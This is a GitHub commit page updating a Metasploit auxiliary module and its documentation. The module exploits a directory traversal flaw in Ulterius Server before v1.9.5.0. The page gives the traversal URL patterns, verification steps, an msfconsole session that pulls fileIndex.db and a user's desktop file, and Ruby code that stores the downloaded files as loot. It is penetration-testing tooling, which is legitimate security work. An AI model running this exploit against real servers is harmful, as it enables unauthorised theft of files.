Skip to content

Commit 1de8ec1

Browse files
committed
Implemented Suggested Changes
Updated documentation headings and function/filename formatting. Updated module options and formatting. Added check for file to parse.
1 parent 1233bb8 commit 1de8ec1

File tree

2 files changed

+40
-54
lines changed

2 files changed

+40
-54
lines changed
Lines changed: 33 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -1,27 +1,12 @@
1-
## Overview
1+
## Description
22

3-
This module exploits a directory traversal vulnerability in [Ulterius Server < v1.9.5.0](https://github.com/Ulterius/server/releases). The directory traversal flaw occurs in Ulterius Server's HttpServer.Process function call. While processing file requests, the HttpServer.Process function does not validate that the requested file is within the web server's root directory or a subdirectory.
3+
This module exploits a directory traversal vulnerability in [Ulterius Server < v1.9.5.0](https://github.com/Ulterius/server/releases). The directory traversal flaw occurs in Ulterius Server's `HttpServer.Process` function call. While processing file requests, the `HttpServer.Process` function does not validate that the requested file is within the web server's root directory or a subdirectory.
44

5-
## Verification Steps
5+
## Vulnerable Application
66

7-
- [ ] Install Ulterius Server < v1.9.5.0
8-
- [ ] `./msfconsole`
9-
- [ ] `use auxiliary/admin/http/ulterius_file_download`
10-
- [ ] `set index true`
11-
- [ ] `set targeturi '/…/fileIndex.db'`
12-
- [ ] `set rhost <rhost>`
13-
- [ ] `run`
14-
- [ ] Verify loot contains file system paths from remote file system.
15-
- [ ] `set index false`
16-
- [ ] `set targeturi '/C:/<path>/<to>/<file>'`
17-
- [ ] `run`
18-
- [ ] Verify contents of file
19-
20-
## Exploiting the Vulnerability
7+
When requesting a file, a relative or absolute file path is needed so the appropriate request can be generated. Fortunately, Ulterius Server creates a file called `fileIndex.db`, which contains filenames and directories located on the server. By requesting `fileIndex.db` and parsing the retrieved data, absolute file paths can be retrieved for files hosted on the server. Using the information retrieved from parsing `fileIndex.db`, additional requests can be generated to download desired files.
218

22-
When requesting a file, a relative or absolute file path is needed so the appropriate request can be generated. Fortunately, Ulterius Server creates a file called fileIndex.db, which contains filenames and directories located on the server. By requesting fileIndex.db and parsing the retrieved data, absolute file paths can be retrieved for files hosted on the server. Using the information retrieved from parsing fileIndex.db, additional requests can be generated to download desired files.
23-
24-
As noted in the [EDB PoC](https://www.exploit-db.com/exploits/43141/), the fileIndex.db is usually located at:
9+
As noted in the [EDB PoC](https://www.exploit-db.com/exploits/43141/), the `fileIndex.db` is usually located at:
2510

2611
`http://ulteriusURL:22006/.../fileIndex.db`
2712

@@ -31,49 +16,49 @@ After retrieving absolute paths for files, the files can be retrieved by sending
3116

3217
`http://ulteriusURL:22006/<DriveLetter>:/<path>/<to>/<file>`
3318

34-
Note: The [EDB PoC](https://www.exploit-db.com/exploits/43141/) used relative paths to download files but absolute paths can be used on Windows-platforms as well, because the HttpServer.Process function made use of the [Path.Combine](https://msdn.microsoft.com/en-us/library/fyy7a5kt(v=vs.110).aspx) function.
19+
Note: The [EDB PoC](https://www.exploit-db.com/exploits/43141/) used relative paths to download files but absolute paths can be used on Windows-platforms as well, because the `HttpServer.Process` function made use of the [Path.Combine](https://msdn.microsoft.com/en-us/library/fyy7a5kt(v=vs.110).aspx) function.
3520

3621
> If *path2* includes a root, *path2* is returned.
3722
38-
## Example Execution
23+
## Options
24+
25+
**TARGETURI**
26+
27+
This option specifies the absolute or relative path of the file to download. (default: `/…/fileIndex.db`)
28+
29+
Note: If you are using relative paths, use three periods when traversing down a level in the directory structure. If absolute paths are used, make sure to include the drive letter.
30+
31+
## Verification Steps
32+
33+
- [ ] Install Ulterius Server < v1.9.5.0
34+
- [ ] `./msfconsole`
35+
- [ ] `use auxiliary/admin/http/ulterius_file_download`
36+
- [ ] `set rhost <rhost>`
37+
- [ ] `run`
38+
- [ ] Verify loot contains file system paths from remote file system.
39+
- [ ] `set targeturi '/<DriveLetter>:/<path>/<to>/<file>'`
40+
- [ ] `run`
41+
- [ ] Verify contents of file
42+
43+
## Scenarios
3944

40-
This module was testing on Windows 7 SP1 x64.
45+
### Ulterius Server v1.8.0.0 on Windows 7 SP1 x64.
4146

4247
```
43-
msf5 auxiliary(admin/http/ulterius_file_download) > options
44-
45-
Module options (auxiliary/admin/http/ulterius_file_download):
46-
47-
Name Current Setting Required Description
48-
---- --------------- -------- -----------
49-
INDEX false no Attempt to retrieve and parse fileIndex.db
50-
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
51-
RHOST yes The target address
52-
RPORT 22006 yes The target port (TCP)
53-
SSL false no Negotiate SSL/TLS for outgoing connections
54-
TARGETURI / yes The path of the web application
55-
VHOST no HTTP server virtual host
56-
57-
msf5 auxiliary(admin/http/ulterius_file_download) > set index true
58-
index => true
59-
msf5 auxiliary(admin/http/ulterius_file_download) > set targeturi '/.../fileIndex.db'
60-
targeturi => /.../fileIndex.db
48+
msf5 > use auxiliary/admin/http/ulterius_file_download
6149
msf5 auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122
6250
rhost => 172.22.222.122
6351
msf5 auxiliary(admin/http/ulterius_file_download) > run
6452
6553
[*] Starting to parse fileIndex.db...
66-
[*] Remote file paths saved in: filepath
54+
[*] Remote file paths saved in: filepath0
6755
[*] Auxiliary module execution completed
68-
msf5 auxiliary(admin/http/ulterius_file_download) > set index false
69-
index => false
7056
msf5 auxiliary(admin/http/ulterius_file_download) > set targeturi '/C:/users/pwnduser/desktop/tmp.txt'
7157
targeturi => /C:/users/pwnduser/desktop/tmp.txt
7258
msf5 auxiliary(admin/http/ulterius_file_download) > run
7359
74-
[*] Username: pwnduser
75-
Password: pleasedonthackme
76-
^not the actual password... nice try
60+
[*] /C:/users/pwnduser/desktop/tmp.txt
61+
[*] File contents saved: filepath1
7762
[*] Auxiliary module execution completed
78-
msf5 auxiliary(admin/http/ulterius_file_download) >
63+
msf5 auxiliary(admin/http/ulterius_file_download) >
7964
```

modules/auxiliary/admin/http/ulterius_file_download.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -34,8 +34,7 @@ def initialize(info = {})
3434
register_options(
3535
[
3636
Opt::RPORT(22006),
37-
OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
38-
OptBool.new('INDEX', [false, 'Attempt to retrieve and parse fileIndex.db', false])
37+
OptString.new('TARGETURI', [true, 'Path to the file to download', '/.../fileIndex.db']),
3938
])
4039
end
4140

@@ -59,7 +58,7 @@ def inflate_parse(data)
5958
remote_files = ""
6059

6160
index = 0
62-
print_status("Starting to parse fileIndex.db...")
61+
print_status('Starting to parse fileIndex.db...')
6362
while index < parse_data.length
6463
index, filename = process_data(index, parse_data)
6564
index, directory = process_data(index, parse_data)
@@ -68,7 +67,7 @@ def inflate_parse(data)
6867
#skip FFFFFFFFFFFFFFFF
6968
index += 8
7069
end
71-
myloot = store_loot("ulterius.fileIndex.db", "text/plain", datastore['RHOST'], remote_files, "fileIndex.db", "Remote file system")
70+
myloot = store_loot('ulterius.fileIndex.db', 'text/plain', datastore['RHOST'], remote_files, 'fileIndex.db', 'Remote file system')
7271
print_status("Remote file paths saved in: #{myloot.to_s}")
7372
end
7473

@@ -78,10 +77,12 @@ def run
7877
'method' => 'GET'
7978
})
8079
if res && res.code == 200
81-
if datastore['INDEX']
80+
if target_uri.path =~ /fileIndex\.db/i
8281
inflate_parse(res.body)
8382
else
84-
print_status(res.body)
83+
print_status(target_uri.path)
84+
myloot = store_loot('ulterius.file.download', 'text/plain', datastore['RHOST'], res.body, target_uri.path, 'Remote file system')
85+
print_status("File contents saved: #{myloot.to_s}")
8586
end
8687
end
8788
end

0 commit comments

Comments
 (0)